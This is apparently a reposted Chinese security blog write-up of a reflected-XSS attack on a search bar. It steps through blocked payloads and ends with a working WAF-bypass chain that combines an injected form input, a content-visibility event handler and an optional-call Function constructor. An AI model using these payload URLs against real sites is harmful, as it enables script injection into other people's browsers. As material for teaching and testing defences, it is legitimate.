文章总结: 本文记录了针对高防御WAF的反射型XSS绕过实战。作者发现搜索栏存在注入点但被强力WAF拦截,常规编码与DOM绕过手段均无效。通过深入分析,最终利用HTML表单注入载荷,结合JavaScript可选链操作符与动态函数执行特性,成功绕过关键词检测机制,实现了XSS攻击,展示了高级混淆技巧在安全测试中的价值。 综合评分: 90 文章分类: WEB安全,漏洞POC,实战经验,渗透测试
0114.搜索栏中的高级 WAF 绕过反射型 XSS
原创
aiden0x
Rsec
2026年1月10日 08:45 贵州
本文章仅用网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
声明:本文搬运自互联网,如你是原作者,请联系我们!
类型:XSS绕过WAF
你好,
今晚我们将深入探讨我是如何绕过我见过的最强大的 WAF(Web 应用防火墙)的,它能够阻止所有已知和未知的绕过技术 。
好了,战斗开始!
因为我想开始测试主应用程序,所以我找到了一个搜索栏。在大多数 Web 应用程序中,主应用程序中的搜索栏通常会受到保护,防止 XSS 等注入攻击,但这次我们的情况并非如此。
首次反思测试:
https://www.target.com/en/search?q=<h1>aiden0x
如您所见,我的名字未经任何过滤或清理就直接显示在请求头中。现在让我们试试 XSS 攻击:
https://www.target.com/en/search?q=<img src=x onerror=alert(1)>
WAF 拦截了它,大多数情况下绕过 WAF 并不难,有很多简单又巧妙的方法可以绕过 WAF。但这个 WAF 非常强大,检测到了所有可能的绕过方法。但我更胜一筹。让我们深入了解一下我是如何绕过它的。
首先,我总是试图弄明白 WAF 是如何检测到我的,以及究竟是哪个部分阻止了有效载荷。我开始逐个移除有效载荷中的部分:
https://www.target.com/en/search?q=<img src=x onerror=alert>
这被屏蔽了,也许他看到提示词就会屏蔽,我把它替换成了任意词:
https://www.target.com/en/search?q=<img src=x onerror=meshalert>
这同样导致阻塞,这意味着问题出在事件处理程序上,我已将其替换为随机事件处理程序:
https://www.target.com/en/search?q=<img src=x meshevent=meshalert>
这条信息被转发,回复中也反映了同样的图片:
我尝试使用 src 属性将 XSS SVG 有效载荷嵌入到页面中:
https://www.target.com/en/search?q=<img src=https://aiden0x.github.io/img-payloads/xssSVG.svg>
这次 WAF 转发了该数据包,但内容安全策略(CSP)阻止了它:
在这个步骤,我总是尝试一种非常好的技巧,这种技巧在大多数情况下都能成功绕过障碍并发挥作用:
https://www.target.com/en/search?q=<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVydCgxKQo=">
对于 WAF 和过滤器来说,这看起来正常,但当渲染到 DOM 中时,base64 解码后的内容是:
javascript:alert(1)
这招一直都管用,但我们的敌人实力远胜于我们,实际上我花了很多时间尝试每一种可能的有效载荷和技巧,所以我们直接跳过这部分,来看最终奏效的方案:
https://www.target.com/en/search?q=<xss oncontentvisibilityautostatechange=alert(1) style=display:block;content-visibility:auto>
实际上,这也被 alert() 函数阻塞了,但是当我移除 (1) 后,它就通过了,并在页面上显示了出来:
于是我开始发挥创造力,我知道无法直接执行 alert() 函数。我需要用到我的开发技能 :)。我必须找到某种编码或间接的方法来调用该函数,而不被 WAF 检测到。我想推荐一份非常好的速查表,它在这种情况下总能帮到你:
XSSPayloads-Strings-Cheatsheet.pdf
https://xss-payloads.paracyberbellum.io/cheatsheets/XSSPayloads-Strings-Cheatsheet.pdf
首先,我想确认事件处理程序是否执行了 JS 代码,所以我尝试使用以下方式声明一个 window 环境:
https://www.target.com/en/search?q=<xss oncontentvisibilityautostatechange=window.__XSS__=1 style=display:block;content-visibility:auto>
之后,您必须在控制台中检查环境变量:
这证实了事件处理程序已成功执行 JS 代码,所以我们的问题在于 WAF,它阻止了 ‘、” 和 `。它之前阻止了一切。所以我们来尝试绕过这个该死的家伙。
我首先尝试的是 ASCII 编码:
String.fromCharCode(97,108,101,114,116,40,41) -> alert()
但这样会将 alert() 输出为字符串,所以我们需要一种方法将其用作函数。以下是 JavaScript 中调用 Function 构造函数的几种方法之一:
Function(JS Code)()
因此,有效载荷将是:
Function(String.fromCharCode(97,108,101,114,116,40,41))()
你可以在控制台中尝试一下,警报就会执行。所以让我们在有效负载中尝试一下:
https://www.target.com/en/search?q=<xss oncontentvisibilityautostatechange=Function(String.fromCharCode(97,108,101,114,116,40,41))() style=display:block;content-visibility:auto>
你以为这样就能行吗?我早就跟你说过我们的目标非常强大。没错,它被屏蔽了。经过一番测试,我试图找出究竟是哪个部分被屏蔽了,我尝试将 ASCII Unicode 值更改为任何随机字符,但仍然被屏蔽,看来 WAF 屏蔽了整个字符串函数。我又尝试了另一个函数:
Function(new(TextDecoder)().decode(new(Uint8Array)([97,108,101,114,116,40,41])))()
它也被阻塞了。这时我决定用另一种方式调用函数构造函数,但这次是在对象构造函数属性上调用:
[constructor][constructor](JS COde)
我尝试使用 Unicode 转义序列:
[constructor][constructor](\u0061lert(1))
这个方法也行不通,所以我尝试对整个警告信息进行编码:
[constructor][constructor](\u0061\u006C\u0065\u0072\u0074(1))
没错,也被屏蔽了。我真没想到这个WAF这么强大。
当时,经过多次尝试和测试,我决定不可能将我们的 alert() 注入到事件处理程序或有效负载中,因为它总是会被检测到。
之后我花了很多时间思考……直到它浮现出来。
我们需要将警告框注入到不会被识别为 JavaScript 代码的位置,这样 WAF 就不会阻止它。然后,我们在事件处理程序中使用 JavaScript 代码来选中并执行警告框。那么,我们该如何实现呢?我们知道,普通的 URL 包含作为键和值的参数,我们也可以发送 #any_thing。那么,如果我们像这样发送 URL 会怎么样呢?
https://target.com/search?q=test#alert(1)
然后,在我们的有效载荷中,我们使用以下方式选择该哈希值:
location.hash.slice(1)
WAF 会检查事件处理程序,但不会发现任何恶意代码,而实际上代码会间接执行 alert() 函数。为了测试这种方法是否可行,请在浏览器中打开一个新标签页并访问:
file:///dev/null#alert(1)
在控制台中运行以下命令:
Function(location.hash.slice(1))()
会弹出警报,但我在目标设备上尝试时被阻止了,原因是 WAF 会阻止所有 location.*,以防止访问 URL 的任何部分。但我永不放弃。
我当时想,如果我们直接从页面响应中选择有效负载会怎么样?但这怎么可能呢?页面响应里当然不会包含 alert() 元素。所以我们为什么不直接把有效负载放在 HTML 元素的值里,然后用 DOM 来选择呢?但我必须发送一个不存在的元素才能轻松选择它,因为 WAF 会阻止使用 ID 或类名从 DOM 中选择元素。所以我搜索了页面响应,发现里面没有表单标签,所以我们就把它放进去吧:
<form><input value=alert()></form>
然后使用 DOM 选择它:
document.forms[0].elements[0].value()
因此,最终有效载荷将是:
https://www.target.com/en/search?q=<form><input value=alert(1)></form><xss oncontentvisibilityautostatechange=Function(document.forms[0].elements[0].value)() popover id=x style=display:block;content-visibility:auto>XSS</xss>
没错,正如你所想,它被拦截了。但我知道原因,当然是因为输入值里有 alert(1),所以我把它替换成了一个随机字符串“PAYLOAD”并重新发送。结果还是被拦截了,WAF 拦截了它,因为你从 DOM 中选择一个元素值并将其放入执行函数中,所以即使这个值本身没有恶意,WAF 也会拦截它。
我检查了每一扇门,决定找到一种方法来执行该函数,但又不能让 WAF 识别,因为尤其是在 JavaScript 中,总有一些奇怪且未知的运行代码的方法。经过一番搜索,我找到了这种方法:
Function?.(Js Code)
我们来试试:
https://www.target.com/en/search?q=<form><input value=PAYLOAD></form><xss oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)() popover id=x style=display:block;content-visibility:auto>XSS</xss>
它已成功绕过 WAF,因此完整的 PoC(使用 alert())如下:
https://www.target.com/en/search?q=<form><input value=alert(1)></form><xss oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)() popover id=x style=display:block;content-visibility:auto>XSS</xss>
它被屏蔽了😂,你到底怎么了!
我尝试将 alert() 替换为其他函数,例如 confirm() 或 prompt(),但所有这些函数都阻塞了,只有 print() 函数可以正常工作。
https://www.target.com/en/search?q=<form><input value=print()></form><xss oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)() popover id=x style=display:block;content-visibility:auto>XSS</xss>

我想到,既然我在事件处理程序中使用 Function?.() 来执行 Function(),为什么不试试 alert() 呢?
https://www.target.com/en/search?q=<form><input value=alert?.(1)></form><xss oncontentvisibilityautostatechange=Function?.(document.forms[0].elements[0].value)() popover id=x style=display:block;content-visibility:auto>XSS</xss>

正如我常说的,我并没有绕过 WAF,是 WAF 接受了失败。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Rsec aiden0x《0114.搜索栏中的高级 WAF 绕过反射型 XSS》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论